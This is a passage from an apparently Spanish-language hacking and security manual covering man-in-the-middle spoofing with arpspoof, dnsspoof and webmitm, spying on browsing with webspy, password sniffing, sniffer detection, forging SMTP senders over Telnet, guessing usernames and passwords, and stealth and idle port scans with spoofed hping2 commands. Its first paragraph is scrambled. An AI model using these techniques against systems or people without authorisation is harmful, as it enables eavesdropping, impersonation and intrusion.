encontremos una para un host destino del que deseamos disfrazarnos. siempre podemos terminar la conexión del host blanco y simplemente apoderarnos de la sesión interactiva desde el MITM al host destino. Podemos ser muy específicos al crear un archivo con formato /etc/hosts aclarando cuales hostnames hay que falsear.77 192. aunque sigue estando sujeto al mismo requerimiento de confianza para el intercambio de clave.com Pinging external. Usamos dnsspoof para responder a cualquier petición para un hostname "external. que posea una dirección IP por fuera de la red 192. el host MITM puede proxear el tráfico entre los dos hosts. apuntaremos especificamente al sistema cliente: [Host MITM] % arpspoof –t 192. pero por omisión. tal y como sucede con cualquier encriptación de clave pública).

 Para ello utiliza el protocolo SSL. en realidad contienen piezas de información. es mucho mejor. podremos darnos cuenta de que constan de muchos puntos y símbolos raros. Pero en este caso se emplea webmitm en vez de sshmitm. como SecureCRT (un cliente de paga) no explica nada y solo pregunta al usuario si desea seguir conectado (con la opción Yes por default). Telnet o FTP (que viajan en texto plano) y que con cualquier sniffer pueden leerse sin mayor problema. aunque similar al urlsnarf. Tanto la opción Yes (Sí) como No. Con este programilla podemos ver en tiempo real.WARNING – POTENTIAL SECURITY BREACH! The server’s host key does not match the one PuTTY has stored in the registry Entonces. webspy se cae al querer cargar la primer Url. al final del http significa «safe» (seguro). Pero estos caracteres. se verá en el navegador pasar las páginas que visita la persona en la máquina remota casi en tiempo real. Webspy: Esta utilería. Al menos PuTTY tiene la ventaja de advertir al usuario en terminos claros. Esto obliga al usuario a eliminar manualmente la clave de host-conocido existente si está seguro de que no hay un problema de seguridad. no lo hace). Cuando ya está ejecutándose. Yes es la opción por omisión si al usuario se le ocurre presionar la tecla Enter sin leer o siquiera pensar. Esnifando claves Cuando se revisan detenidamente los registros conseguidos por un sniffer. pero la opción No. No y Cancel. Nota importante: si se navega por https25 no se puede usar.  117 . lo que escriben y hasta sus contraseñas privadas. Los datos que pueden ser capturados sin más son claves de correo POP. Por defecto captura el tráfico dirigido a los puertos 80. lo que posibilita quitar el permiso de conexión a cualquier host cuya clave haya cambiado. el programa viene configurado para utilizar netscape y mozilla. 25HTTPS Secure HyperText Transfer Protocol (Protocolo Seguro de Transferencia de Hipertexto) Protocolo de seguridad diseñado por  Netscape e incorporado a su propio navegador con el fin de garantizar la seguridad de las comunicaciones entre el usuario y el servidor web  al que éste se conecta. desarrollado también por Netscape. continúan la conexión (Yes actualiza la clave almacenada. De ese caudal de datos que se pueden traer. Podemos comenzar a utilizarlo tecleando webspy IP-de-Pc-a-espiar ahora que si lo que se desea es espiar una determinada interfaz de red. 8080 y 3128. de primera apariencia extraños. se coloca la opción -i. Programas clientes SSH de UNIX pueden ser configurados para revisar de manera “estricta” la clave del host. las páginas que el espiado está visitando. Hay que tener en mente que si olvidamos arrancar el navegador. Por default. Antes de usar Webspy hay que tener en cuenta dos cosas: tenemos que conocer la IP de la máquina que deseamos espiar y tener ya en ejecución el navegador donde se mostrarán las páginas que el usuario espiado visita. porque la “s”. y solo la opción Cancel detiene la conexión. Sólo es válido para navegación en http y a través de proxy. al usuario se le presentan tres opciones: Yes. Otras herramientas clientes. El tráfico HTTPS puede ser abordado de modo similar. estos dos últimos usados como proxies. podremos fácilmente extraer información vital como desde dónde se conectan los usuarios.

Se debe vigilar este tipo de archivos en directorios ocultos.Cierto número de sniffers son visibles en el listado de procesos activos. 2.c que cuando es compilado e invocado. Estas técnicas mencionadas funcionan bien en detección de sniffers basada en host. efectúa una barrido en la máquina local en busca de la presencia del modo promiscuo en la tarjeta de red. La siguiente es un pequeño listado de señales que se deben considerar para saber si existe un sniffer trabajando en el sistema.También ayuda mucho el empleo de tecnologías de encriptación como SSH. 118 . Aunque hoy no existe una página oficial. El programa cpm es capaz de detectar si la tarjeta de red está en esta modalidad. En Winxx. Otro programa en C de nombre neped.La NIC está operando en modo promiscuo.c hace una verificación remota de cualquier actividad sniffer. En Linux puede teclearse desde una terminal el comando ps con ciertas opciones: ~$ ps auxf o ~$ ps -axw 3. Afortunadamente. en la detección de sniffers basada en red. el programa puede descargarse desde cualquier página que trate sobre asuntos de seguridad informática. Sin embargo. En linux se usa el comando ifconfig -a para buscar la bandera (flag) promisc. como mencionamos anteriormente. dado que la cultura hacker no está muy arraigada como en otros países. 1. etc. una utilería desarrollada por L0phtCrack que busca y encuentra tarjetas de red en modo promiscuo.Cambiarse a redes con switches.. Herramientas de búsqueda Existe un programita en C llamado promisc. Tanto promisc. se debe echar mano del programa Antisniff.c se pueden en servidores FTP haciendo una búsqueda con google. los sniffers tienen un buen número de indicadores que señalan su presencia. la utilería Process Explorer de Sysinternals puede mostrarlos. Solo un administrador perezoso pasaría por alto incluir entre sus tareas la búsqueda de sniffers en su red local.La mayoría de los sniffers suelen crear extensos archivos de registro (logs). Esto permite que los paquetes solo lleguen a la máquina que están destinados... Este programa solo se compila en Linux. cuando se es administrador u operador de un sistema y se está a cargo de la seguridad de una red. IP Security Protocol. 2..c como neped. De este modo se limita el daño causado por el sniffer. Las siguientes medidas contra sniffers son más permanentes: 1.. es de crucial importancia verificar si alguien ha instalado deliberadamente un sniffer en alguna parte de la red y que no debería estar ahí.Detección de Sniffers Aunque en México no es un problema de todos los días.

La segunda tarjeta posee una dirección normal. pero no está en modo promiscuo. Lo que se ha de tener en cuenta cuando se instala un sniffer en una máquina es que. en ocasiones si nos equivocamos. se pueden generar archivos de logs grandisimos que harán sospechar al administrador del sistema o al operador.0. Esto permite al sniffer monitorear el tráfico sin ser detectado. cuando consideramos el nivel de seguridad que requerimos implementar en nuestra red. podemos pensar en usar encriptación de datos en la LAN. Dependiendo de la máquina y su tráfico puede ser suficiente mirar los logs cada semana más o menos o cada dos. pero se le asigna a la tarjeta la dirección 0. por lo que será muy difícil de detectar este tipo de ataque. Siempre debemos sopesar el valor de los datos que transitan por nuestra red y poner en la balanza ese valor con respecto del costo de la protección de datos. Siempre debemos de tener algún tipo de mecanismo de detección en nuestro cortafuegos que nos auxilie en localizar computadoras con la tarjeta de red en modo promiscuo. El hecho de tener una red conmutada no significa que uno esté a salvo de intrusiones. Este es un factor que debemos tener en cuenta ya que. si hay mucho tráfico de paquetes en esa máquina y no se selecciona bien la forma de filtrar qué información queda en el log y cual no.Haciendo a los Sniffers Difíciles de Detectar Existe un método que ayuda a dificultar más la detección de un sniffer en una red. Aunque aún están los problemas de los mensajes y las alertas que serán movidos de la tarjeta donde actúa el sniffer a otra tarjeta para que terminen de ser entregados. Hay que hacer que el sniffer ponga a la tarjeta NIC en modo promiscuo. Si en nuestra red existe información que debe permanecer confidencial. 119 .0. Es muy importante determinar el daño que pudiera resultar de un uso malicioso de herramientas como las que mencionamos en apartados anteriores. o una herramienta que detecte y reporte los ARP-Spoofs y otras actividades de red sospechosas. se crea un archivo grandisimo de varios megas y el root se percatará de la intrusión.0.

como son el FTP. permitiendo a un administrador de sistemas llevar a cabo modificaciones remotas desde otro lugar. 26Gopher (Gopher) Antiguo servicio de información distribuida. En sus inicios. Para la conexión no importa el tipo de sistema operativo que exista entre ambos extremos. Función Telnet sirve básicamente para controlar remotamente otra computadora. el servicio intentará conectarse al puerto 23. el servicio telnet se invoca como ktelnetservice. etc. web. Si el puerto está abierto. aunque en realidad estemos conectados a Internet. para Macs está el BetterTelnet. etc. Algunos clientes Telnet en el entorno Winxx son CRT. Para la comunicación utilizamos el Telnet (Terminal Emulator) que nos permitirá emular la conexión directa al host. en su tiempo. DataComet. Hoy día. caso contrario.  120 . Telnet era la aplicación utilizada para comunicarse con otras máquinas y así poder acceder a la información. se queda en espera de instrucciones. El proceso de conexión se hace mediante nuestra máquina. uno de los pilares de la mayoría de los sistemas UNIX. Telnet está presente en Windows y en algunas distribuciones de Linux y funciona con la filosofía cliente-servidor.Usando Telnet Telnet es un pequeño programa para comunicaciones remotas y al mismo tiempo es un protocolo en sí mismo y su puerto es el 23. aunque lo más sencillo es usar el programa que ya viene en casi cualquier sistema operativo que tenga soporte para redes TCP/IP. Uso de Telnet Telnet es un protocolo que se basa en tres principios claramente definidos: por un lado el concepto de NVT (Network Virtual Terminal) que es un dispositivo virtual con una estructura básica común a una amplia gama de terminales reales y donde cada host simula las características de su propia terminal. no se conectará. anterior a la aparición del WWW. Telnet haría que todo se ejecutara en la máquina remota. ofrecía colecciones jerarquizadas de información en Internet. Tera Termp. Gopher26. Desarrollado por la Universidad de  Minnesota. de correo. Sin embargo. Uno de sus usos más simples es para comprobar qué puertos están a la escucha. Algunas máquinas Telnet son públicas y otras son privadas y entre la información a la que podemos acceder se cuentan bases de datos de varias universidades e instituciones científicas. que se conecta a una computadora que se llamará Host (host remoto). Se basa en uno de los protocolos más antiguos creados para el Internet y fue. En Windows se invoca el comando desde la consola simplemente como sigue: telnet localhost 80 Si no se especifica un puerto. Lo usan dispositivos como el módem y los routers para su configuración manual cuando el intento por vía web falla. no en donde reside el programa. En el ambiente gráfico KDE. esta correrá en nuestra computadora. Lo que la convierte en una herramienta básica para quien quiera sumergirse en el caudal de datos que existen disponibles. que será la terminal (que se conoce como localhost). Si accedemos mediante una red común a otra máquina e intentamos ejecutar una aplicación. Telnet permite conectarnos en calidad de cliente a cualquier servidor. no es una herramienta muy utilizada en virtud de que actualmente existen sistemas que nos permiten accesar servicios que anteriormente solo Telnet permitía.

es solo cuestión de práctica manipular la mayoría de ellos. También podremos acceder a servidores telnet desde el navegador web. por ejemplo. Una vez que estemos preparados. existen dos tipos principales: telnet (para emulaciones tipo VT -Virtual Terminal. etc). A continuación veremos como se intenta la conexión con el sitio remoto. 28(Sistema Operativo de Disco) DOS fue el primer sistema operativo para computadoras personales. El proceso básico de conexión con Telnet será del modo siguiente: Teclear <<Telnet Dirección>> desde el prompt de nuestro sistema operativo. tendremos acceso a los directorios y archivos de nuestra cuenta y a lo que se denomina shell (nuestra ventana MSDOS28. De esta manera. siempre y cuando lo tengamos configurado para que ejecute la aplicación telnet al momento de iniciar la conexión al servidor telnet. Su funcionamiento es sencillo y no requiere ser instalado. permite ver los caracteres que son pulsados a través del teclado. o escribimos “connect” u “Open” (dependiendo del cliente que estemos utilizando) y la aplicación procederá a intentar la conexión. Se selecciona la opción de Telnet. Existe una herramienta diseñada para conexiones tipo SSH. que es el más extendido) y tn3270 (versión de telnet para emulaciones IBM). la mayoría de los clientes telnet nos permitirán crear perfiles y editar preferencias sobre estos. eliminar archivos. se indica el host de destino y ya está listo para comprobar o conectarse a cualquier puerto. debe primero saberse el nombre o la dirección de la computadora. el nombre de usuario y la contraseña. Telnet y rlogin llamada Putty y resulta muy conveniente. ANSI. y es posible que se configure automáticamente. Hay que recordar que no hay gráficos.de DEC. con "o" minúscula. de letra y su color y otros tantos parámetros. aunque sea de invitado (guest) o pública. borrar de modo masivo información. 27 Es la parte de la consola de comandos del DOS de una computadora que nos pide un comando. a qué servidor vamos a conectarnos. Desde este entorno podremos copiar. habrá que elegir el tipo de modulación (VT100. Para ejecutar la aplicación solamente necesitamos teclear desde el prompt27 del sistema el comando <<telnet>>. MSDOS significa Microsoft DOS. Si todo está en orden (que la dirección a la que deseamos conectarnos tenga el puerto preparado para una comunicación mediante telnet) se procederá a la identificación del usuario mediante el nombre de usuario (username) y una contraseña. Se basa en comandos que se escriben  línea por línea dese un prompt. No confundir con DoS (Denial of Service). Para usarse el Telnet.Desgraciadamente el programa Telnet que viene con Windows no es tan bueno como el de Linux. pulsamos a OK. pero esta opción no se encuentra disponible en todos los Winxx. Se recomienda investigar con la ayuda del shell de la cuenta para irnos familiarizando con los comandos adecuados. además de tener acceso a una cuenta de usuario. Como toda herramienta que requiere de diversos comandos. Dependiendo el tipo de terminal que se pretenda emular. aunque en Linux es más avanzado) . cambiar y asignar contraseñas). Una vez confirmada y se nos autorice. Es el símbolo C:\>. Una vez hecho lo anterior. podemos decir a la aplicación. También se pueden crear directorios. Lo primero que debemos hacer es familiarizarnos con los comandos básicos propios del host y para eso tecleamos el comando “help”. todo viene en líneas de comandos. Pero sobre todo. 121 . No muestra los caracteres que se pulsan en el teclado y tendríamos que activar el “eco local”. se modifica el puerto. La opción VT100 es la más recomendada. el tamaño de la ventana. mover. aunque esto depende del cliente. De la misma manera que hacen los clientes FTP. ya que su uso correcto la convierte una utilería muy poderosa para manejar sitios web (con ella podemos automatizar tareas. dar y remover permisos para archivos y directorios.

Si a lo largo de una conexión telnet a la computadora se queda bloqueada o tenemos algún problema de comunicación que nos “inhabilita”. Empleando el comando dele + número_del_mensaje.com Existe una pequeña diferencia entre ambos casos presentados. Es una utilería para conectarse con otras máquinas. desde dónde se ha enviado.mx 110 user: nuestro_username pass: nuestro_password Si los datos son correctos se efectúa la conexión al servidor.La URL del servidor telnet al que nos conectamos deberá llevar como protocolo telnet::// o tn3270:// dependiendo del tipo de terminal que permita el servidor.com> o también mail from: un_nombre@cualquier_sitio. Para esto. Debemos destacar el comando tracert que nos muestra la ruta por la que pasan nuestros paquetes IP antes de llegar a su destino. nos quedamos con el número del mismo y usamos el comando retr + número_del_mensaje. Ahora bien.mx 25 Si lo que queremos es enviar un mensaje hacemos: mail from: un_nombre <un_nombre@cualquier_sitio. Para esto. Sacando Partido a Telnet El puerto 110 (pop) es el utilizado para recibir correo. el remitente será “un_nombre@cualquier_sitio. utilizamos el comando list. En el primer ejemplo aparecerá en el programa de correo que se use para leer los mensajes “un_nombre” como remitente del mensaje. podremos borrar un mensaje cualquiera. servidores telnet de Internet. antes de dar un reset a la máquina. utilizar la secuencia de salida que nos indica al conseguir la conexión (por lo regular CTRL-]) y no la tecla ESC. Mediante el comando stat accedemos a las estadísticas. pero hay que tener conciencia de que nos podemos meter en aprietos.com.yahoo. en el segundo caso. si lo que deseamos es enviar un email emplearemos el puerto 25 (smtp) que nos permite elegir el nombre de quien envía el correo. hay que teclear telnet smtp. lo que nos puede auxiliar a la hora de decubrir la IP de alguna máquina que se encuentre en la misma red.com.com”. Contiene un buffer en una sección de código que procesa el URL-Telnet. BBSs y servicios en línea mediante un módem o tarjeta de red. Gracias a esto se pueden hacer bromas. pero para saber qué otros comandos hay. Si queremos abrir un mensaje en concreto. lo que nos da una idea de la versatilidad que se nos ofrece. usamos el comando help.yahoo. Para conocer qué mensajes tenemos en el buzón. Hiperterminal no viene instalado como cliente de Windows 2000. si escudriña un poco el código del mensaje. La aplicación Hiperterminal es un programa instalado por defecto en todas las versiones de Windows. Mientras que por otro lado. por ejemplo Yahoo: telnet pop. 122 . es preferible. primero debemos acceder a un servidor de correo. aunque si el que recibe el mensaje hace gala de conocimiento podrá ver. Con el Telnet podemos leer y eliminar los mensajes de correo aún antes de usar un cliente de correo habitual.

usamos el comando data. muy habitual. pondremos un punto y pulsamos la tecla <enter>. la primera línea será la del asunto (subject). A continuación tendremos que dejar una línea en blanco y el resto del cuerpo del mensaje. vería como queda registrado nuestro paso por los servidores. porque a veces nos envía una advertencia de que somos unos palurdos que no saludamos. deberemos saber si un servidor es o no un remailer anónimo utilizando el comando helo. de que el servidor muestre nuestra IP de procedencia. cualquiera es válido. Helo cualquier_cosa Si lo que recibimos como respuesta es del tipo siguiente helo (nuestro_nombre_en_red) [(nuestra_IP)] please to meet you con esto deduciremos fácilmente que no es un servidor anónimo. También se le conoce como remailer anónimo al servicio que remueve el campo “From” de nuestros mensajes y lo redirigen al destinatario original. Remailers En este apartado explicaremos los denominados remailers anónimos. Para comunicar al servidor que vamos a proceder con esta parte del email. siempre es de buena costumbre utilizar el comando helo al conectarnos al servidor. Si por el contrario. pero vale la pena indagar. en la respuesta no se incluye nuestra dirección IP. Es muy difícil. En el caso. Si se llega a presentar este caso. Aunque no es obligatorio. Debemos destacar que ninguno de los dos casos es realmente anónimo en virtud de que. Éstos son servidores de correo saliente que no incluyen la dirección IP del remitente. no hay mas que escribir el nombre de algún servidor que conozcamos. Para designar el destinatario hacemos uso del comando rcpt del modo siguiente: rcpt to: sujeto <sujeto@conocido. Para terminar de escribir el mensaje. Para evitar esto.Existen servidores que exigen expresamenten que el servidor detrás de la arroba (@) realmente exista. Si no escribimos nada. Esto lo podemos comprobar enviando un mensaje y comprobando posteriormente si la incluye. en el caso de que alguien siguiera nuestro rastro.mx> Luego ponemos el cuerpo del mensaje. Otros comandos de interés Hay otros comando útiles por la información que podemos lograr al usarlos Systat: Éste comando nos da información sobre los procesos que se están ejecutando en la máquina remota. quizá podamos encontrar algún servidor corriendo un daemon antiguo que no implemente este tipo de información. muy posiblemente lo será. telnet <servidor> systat Finger: Es una comando empleado de la forma finger <servidor> <usuario> 123 .

lo que suele despintar al usuario que está acostumbrado a los programas con ventanitas. podemos experimetar con nombres como Joe. Si no ponemos el parámetro usuario.El comando finger nos posibilita conocer acerca de los usuarios de un sistema. podemos especular con nombres al azar. que son de los más abundantes. si estamos en una máquina de América Latina o España. Peter. se pueden hacer maravillas. 124 . Recordemos que muchas personas usan su apellido como contraseñas. lo que constituye un delito en forma dicho sea de paso. Pgarcia. Por ejemplo. Pero cuando uno se acostumbra. podemos intentar con nombres como José. Juan. Desventajas Si acaso la única desventaja del Telnet es la interfaz sin gráficos. Si no nos proporcionara una lista de usuarios. Existen usuarios atrevidos que de este paso se saltan a la búsqueda de contraseñas utilizando el mismo método. María. hay que señalar que debemos ser root para lograr esto). nos enseñará todos los que se encuentren conectados en ese preciso instante (sin embargo. Mary. Pedro. Teniendo el nombre de usuario y la contraseña. También se puede hacer uso de la Ingeniería Social (página 43) para extraer información delicada y penetrar fraudulentamente los sistemas. se puede intentar la suplantación de identidad. Si la máquina se encuentra en países de habla inglesa.

ésta es la técnica que debemos aprovechar. si usamos Stealth scanning. por lo que deberemos saber cómo interpretar los resultados. pero hay que tener en cuenta que los logs dejados son altos y harían saltar a cualquier sistema IDS y el escaneo sería conocido. Si no nos importa que nos detecten. cerrados. del grado de “logueo” del sistema. sobre las técnicas conocidas de escaneo de puertos que son necesarias para descubrir su estado: abiertos. siempre teniendo en mente que es la que más rastros deja en el log del sistema remoto y la más sencilla de filtrar. Las técnicas de escaneo pueden dividirse en dos grupos: Open scanning (escaneo abierto). podremos evitar determonados sistemas IDS y sobrepasar ciertas reglas de cortafuegos. El empleo de herramientas como Nmap (del que hablamos en la página 93) y hping2 pueden automatizar el escaneo pero no son 100% fiables. un inconveniente de esta técnica es que determinadas circunstancias. ésta técnica es la más efectiva y rápida. suele proveer de falsos positivos. Sin embargo. Por otra parte. Esta división se hace en función del grado de conexión realizada contra la máquina destino y en función de las características de los paquetes enviados. conocido como three-way TCP/IP handshake29. Se hace uso de los siguientes flags para cear y establecer la conexión: SYN. filtrados. Conocer qué técnica es la más adecuada depende de la topología de la red. 125 . 29 Llamada en español Acuerdo de Tres Vías. ACK. de si existe o no un IDS detrás. En éste apartado trataremos de documentarnos a manera de introducción. Por esta razón debemos conocer en profundidad el proceso llevado a cabo en cada una de las técnicas empledas. porque es un equipo de nuestra propiedad o cualquier otra razón.Prueba de Penetración El primer paso de una prueba de penetración consiste en identificar qué servicios está ejecutando el sistema víctima. En éste último caso trataremos de averiguar las reglas de filtrado que el cortafuegos está aplicando. Siempre debemos interpretar los resultados devueltos por los programas. SYN/ACK. El empleo de un escaneo de tipo Open scanning nos proporciona un nivel de fiabilidad muy elevado y conveniente. Full TCP Connection Si deseamos una fiabilidad del 100% en los resultados devueltos. Halfopen scanning (escaneo a medio abrir) y Stealth scanning (escaneo sigiloso). En la figura 1 podemos ver el proceso llevado a cabo para crear y establecer la conexión. La técnica del Full TCP Connection implica abrir una conexión completa con el equipo remoto con el modo de conexión normal. ya sea porque se trata de un sistema al que estemos haciendo una auditoría.

el cliente termina la conexión mediante el envío de un RST. un cortafuegos bloquearía el resto de las peticiones. se completa el Three-way TCP/IP handshake y la conexión es terminada por el cliente. El servidor informa al cliente que debe terminar la conexión debido a que el puerto se encuentra cerrado. En la figura dos podemos apreciar lo que sucedería si el puerto del servidor se encontrara cerrado. los logs del sistema y un IDS lo detectarían. por lo que pasará inadvertido a los IDS basados en conexión. ya que al realizar una conexión completa. lo que indica que el puerto al que nos hemos intentado conectar se encuentra abierto. Después de que el cliente envía el ACK de confirmación. Aquí. El servidor responde con los flags SYN/ACK activados. Ésta técnica es muy fácil de identificar. excepto que en el último paso el envío del ACK por parte de la máquina cliente no se lleva a cabo y en su lugar. SYN Scanning Ésta técnica es exactamente igual al Full TCP conection.Inicialmente la máquina origen (cliente) envía un paquete con el flag SYN activado a la máquina destino (servidor). En realidad. Una vez detectado. el servidor devuelve un RST/ACK. volviendo a realizar el mismo proceso para el resto de los puertos que deseemos escanear. aunque es muy probable que devuelva falsos positivos. 126 . Half Open Scan Method Éste método se llama Half open porque el cliente termina la conexión antes de que se haya completado el proceso de intercambio Three-way TCP/IP Handshake. es el sistema operativo quien se toma la tarea de enviar el RST. En la figura tres se esquematiza este tipo de escaneo.

técnicas de sobrepasar filtros. pp64). este tipo de escaneo tiene que ver con algunas de las técnicas siguientes: uso de determinados flags. Se envía el SYN/ACK y en función de la respuesta podremos saber el estado en que se encuentra el puerto. porque los falsos positivos en este tipo de escaneo son muy probables. Hay que saber leer con detenimiento este resultado. En el caso de que el puerto se encontrase abierto. significa que el puerto está cerrado. TCPWrappers o IPLog. pero la desventaja es que debe ser ejecutado con privilegios de administrador. nos está informando que el puerto está abierto. ya sea el Snort. FIN Scanning Desafortunadamente esta técnica se aprovecha de una mala implementación del código de los BSD. En teoría. que han usado muchos sistemas operativos para construir su pila TCP/IP. etc. no recibiríamos ninguna respuesta por parte del servidor. routers. de un cortafuegos de tipo stateless. Véase la figura 4. SYN/ACK Scanning Ésta técnica tiene la característica de eliminar la primera parte del Three-way TCP/IP Handshake. Hoy día. Mediante ésta técnica podemos realizar rápidos escaneos que puedan pasar inadvertidos a los IDS débiles. casual network traffic. 127 . cortafuegos.Si en respuesta a nuestro SYN el servidor envía un SYN/ACK. Stealth Scanning Ésta técnica se denominó así debido a que permitía evitar los sistemas de detección y logeo de los IDS. cuando se envía un paquete con el flag FIN activo. por ejemplo. un puerto cerrado responderá con un RST. en el que no se ha producido un SYN previo. La ausencia de respuesta puede deberse a algún tipo de filtrado. El hecho de que éste método haya sido utilizado para generar DoS (denial of service – Denegación de servicios -que veremos más adelante en este documento) SYN Flood es un inconveniente ya que provocó que muchos cortafuegos tengan reglas específicas para prevenir este tipo de escaneos. Si lo que envía es un RST/ACK. El servidor termina la conexión pensando que se ha producido algún tipo de fallo en las transacciones con este puerto. mientras que los puertos abiertos se quedarán “callados” (RFC 793. Ésta técnica es muy fácil de identificar por un IDS.

para determinados sistemas operativos.XXX XXX.XXX XXX. Sólo obtendremos aquellos puertos que que hemos detectado como “filtrados”. pero si no encontramos ningún puerto abierto y por medio de un SYN scanning sí encontramos puertos abiertos. Como resultado obtendríamos un escaneo erróneo y deberemos aplicar otras técnicas o bien. Mediante el envío de ACK. entonces sabremos que se trata de un sistema Windows. Algunos de estos sistemas son Cisco. MVS e IRIX Ésta técnica también nos devuelve falsos positivos por lo que debemos interpretar los resultados. El primer método implica evaluar el campo TTL (Time To Live) del paquete.En éste caso hay que mencionar que los sistemas de Microsoft han decidido ignorar completamente los estándares e implementar lo que a ellos les ha parecido mejor. sabremos que no se trata de un sistema Windows. Esto se explica mejor con el ejemplo seiguiente: Packet Packet Packet Packet 1: 2: 3: 4: host host host host XXX. utilizando el programa Nmap con la opción -sA. en vez de desechar el paquete (que es lo que el estándar dispone que debe hacerse). ACK Scanning Éste método.XXX port port port port 20:F:RST 21:F:RST 22:F:RST 23:F:RST -> -> -> -> ttl: ttl: ttl: ttl: 70 70 40 70 win:0 win:0 win:0 win:0 => => => => closed closed open closed Vemos en el paquete de respuesta del puerto 22. junto con XMAS scanning y Null scanning no son válidas para sistemas ejecutando Win95/NT. BSDI. 128 .XXX. Una característica del Nmap y de este tipo de filtrado reside en que los puertos que deberían aparecer como “no filtrados” no aparecen. Si mediante ésta técnica encontramos puertos abiertos. Cuando recibimos paquetes con flags RST activados los puertos son clasificados como “no filtrados”. Concretamente nos permite indagar si el cortafuegos es stateful o sencillamente un sistema de filtrado simple que bloquea los paquetes SYN entrantes. el valor TTL es menor que en los puertos que se hallan cerrados. 30En software. un análisis de la cabecera IP de los paquetes. mientras que si no recibimos ninguna respuesta o se nos envía un ICMP Unreachable.XXX. Solaris. teníamos dos técnicas para detectar el estado de los puertos atacados. comparar los resultados obtenidos mediante esta técnica con los que obtenemos con otras diferentes como los escaneos SYN o SYN/ACK. se clasificarán los puertos como “filtrados”. Existen otros sistemas que responden con un RST cuando el puerto está abierto. mientras que en el segundo debemos analizar el campo WINDOW de éste.XXX. que provoca el funcionamiento deficiente del programa o resultados  incorrectos.XXX XXX. De modo que ésta técnica. nos descubre que el valor de TTL de los paquetes que nos retorna un puerto abierto es menor que el del TTL que se obtiene como respuesta de puertos cerrados. En ésta técnica enviamos un paquete ACK con un ID de secuencia aleatoria al puerto especificado. un bug es un error en la codificación o en la lógica.XXX.XXX. Otra técnica empleando el envío de ACK fue descrita utilizando un bug 30 (error en software o hardware) que existía en la capa IP de los sistemas operativos. Por otra parte podemos aprovechar esta característica para identificar si el sistema se trata de un Windows. En ambos es imperativo analizar los paquetes que recibamos con el flag RST activado. Cualquier sistema de filtrado puede estar bloqueando los RST de los puertos cerrados. se usa generalmente para poder averiguar las reglas de filtrado de los cortafuegos.XXX.XXX. En el primer caso.XXX.

Cualquier valor diferente de 0 será señal de un puerto abierto.XXX. como siempre confrontando Window Vs. PSH).XXX. si el puerto se encuentra abierto.XXX.XXX XXX. NULL Scanning En éste método dejamos inactivos todos los flags del paquete (ACK. Los estándares RFC no marcan ninguna clase de respuesta especifica con respecto de este tipo de paquetes por lo que el escaneo es dependiente del sistema operativo que está siendo escudriñado. si el puerto se encuentra cerrado se generará un RST por parte del servidor. ya que en versiones recientes este bug ha sido parchado y no puede emplearse como método de detección de puertos abiertos o cerrados. Ésto es válido para determinadas versiones antiguas de BSD (FreeBSD.XXX.XXX.XXX port port port port 20:F:RST 21:F:RST 22:F:RST 23:F:RST -> -> -> -> ttl: ttl: ttl: ttl: 64 64 64 64 win:0 win:0 win:512 win:0 => => => => closed closed open closed Éste es dependiente del sistema operativo de la versión de éste. Sin embargo.En el segundo método deberemos analizar el campo WINDOW de los paquetes devueltos.XXX. FIN.XXX. Esta forma de escaneo queda esquematizado en la figura 5. Un ejemplo real sería como sigue: Packet Packet Packet Packet 1: 2: 3: 4: host host host host XXX. 129 . SYN. URG.XXX. Cuando un paquete de ésta clase llega a un servidor. UNIX. pero en versiones recientes ha sido parcheado y no puede ser utilizado como método de escaneo. DGUX). RST.XXX XXX. éste desechará el paquete y no responderá de ninguna manera. OpenBSD) y UNIX (AIX.XXX XXX.

RST. 2. Hay que tener dos cosas en mente: siempre se debe efectuar de manera adecuada y tenemos que conocer la forma de interpretar los resultados que se obtienen. por lo que se limita a sistemas UNIX.XMAS Scanning Ésta técnica es todo lo contrario a la anterior y no tiene nada que ver con la navidad. En éste método activamos todos los flags presentes en la cabecera TCP (ACK. FIN. En el IDLE scanning se usa una zombie para cuestiones de escaneo en nuestra red local propia. URG. ésta técnica es dependiente de que la pila TCP/IP del equipo remoto esté basada en el código BSD. 5. que una computadora que se emplea como intermediaria para realizar ataques a una computadora víctima sin que ella tenga conciencia del procedimiento. Una máquina no responde con nada a un RST. IDLE Scanning Éste procedimiento fue publicado en Bugtraq hace ya algunos años. PSH). El método nos permite escanear una máquina remota utilizando paquetes “spoofeados” (es decir. Todo lo demás es igual al NULL scanning con respecto de la respuesta del servidor. con una dirección IP diferente de la nuestra) y una máquina zombie. Para explicar éste procedimiento. 130 . Los apsectos de TCP/IP básicos a tener en cuenta para llevar a cabo éste escaneo son los siguientes: 1. SYN. 4. Para llevar a cabo este escaneo se aprovechara uno de los puntos débiles que se han descubierto al TCP/IP: números de secuencia IPID predecibles. Una máquina responde con un RST a un SYN/ACK. La idea es que nuestra computadora no pueda ser detectada desde la máquina atacada. Al igual que en los casos anteriores. En éste proceso. cuando el servidor recibe un paquete con estas características. Una máquina responde con un RST a un SYN si el puerto se encuentra cerrado. 3. si el puerto se encuentra abierto. el kernel desechará el paquete. Una máquina responde con un SYN/ACK a un SYN si el puerto se encuentra abierto. chequemos la figura 6. Es la técnica más interesante y de gran utilidad. mientras que responderá con un RST si el puerto se encuentra cerrado. Podemos conocer el número de paquetes que la máquina remota está enviando mediante el campo IDIP de la cabecera IP.

Si el puerto estuviese cerrado. El zombie. envía un RST. 40 headers + 0 data bytes 60 bytes from zombie: flags=RA seq=0 ttl=64 id=41660 win=0 time=1. es decir. Al tratarse de un RST.yyy. la máquina no responde de ninguna forma y desecha el paquete. una vez conocido el id de la respuesta al SYN que hemos enviado. pero con la IP spoofeada a la máquina zombie. En el siguiente paso. será enviar un SYN a la máquina destino.xxx. Mediante esta variación podemos conocer si la máquina está enviando mucho o poco tráfico. Éste será el valor que nosotros utilizaremos para realizar el escaneo.2ms 60 bytes from zombie: flags=RA seq=1 ttl=64 id=+1 win=0 time=75ms 60 bytes from zombie: flags=RA seq=2 ttl=64 id=+1 win=0 time=91ms 60 bytes from zombie: flags=RA seq=3 ttl=64 id=+1 win=0 time=90ms 60 bytes from zombie: flags=RA seq=4 ttl=64 id=+1 win=0 time=91ms 60 bytes from zombie: flags=RA seq=5 ttl=64 id=+1 win=0 time=87ms Con la opción -r obtenemos el valor relativo del campo id.En el paso uno debemos encontrar una máquina que no tenga mucho tráfico y en la que podamos controlar las variaciones de la secuencia IPID. la diferencia entre el id anterior y el nuevo id. el número de secuencia aumenta. al enviar paquetes el zombie. la máquina destino enviaría un RST al zombie. De ésta forma. Si el puerto estuviese abierto en la máquina destino. 131 . Tecleamos: hping2 -i -u1000 -p 22 -S -a zombie www.zzz Enviamos a la máquina destino paquetes SYN diciendo que somos la máquina zombie. hping2 -i u1000 -p 80 -r -S -A zombie 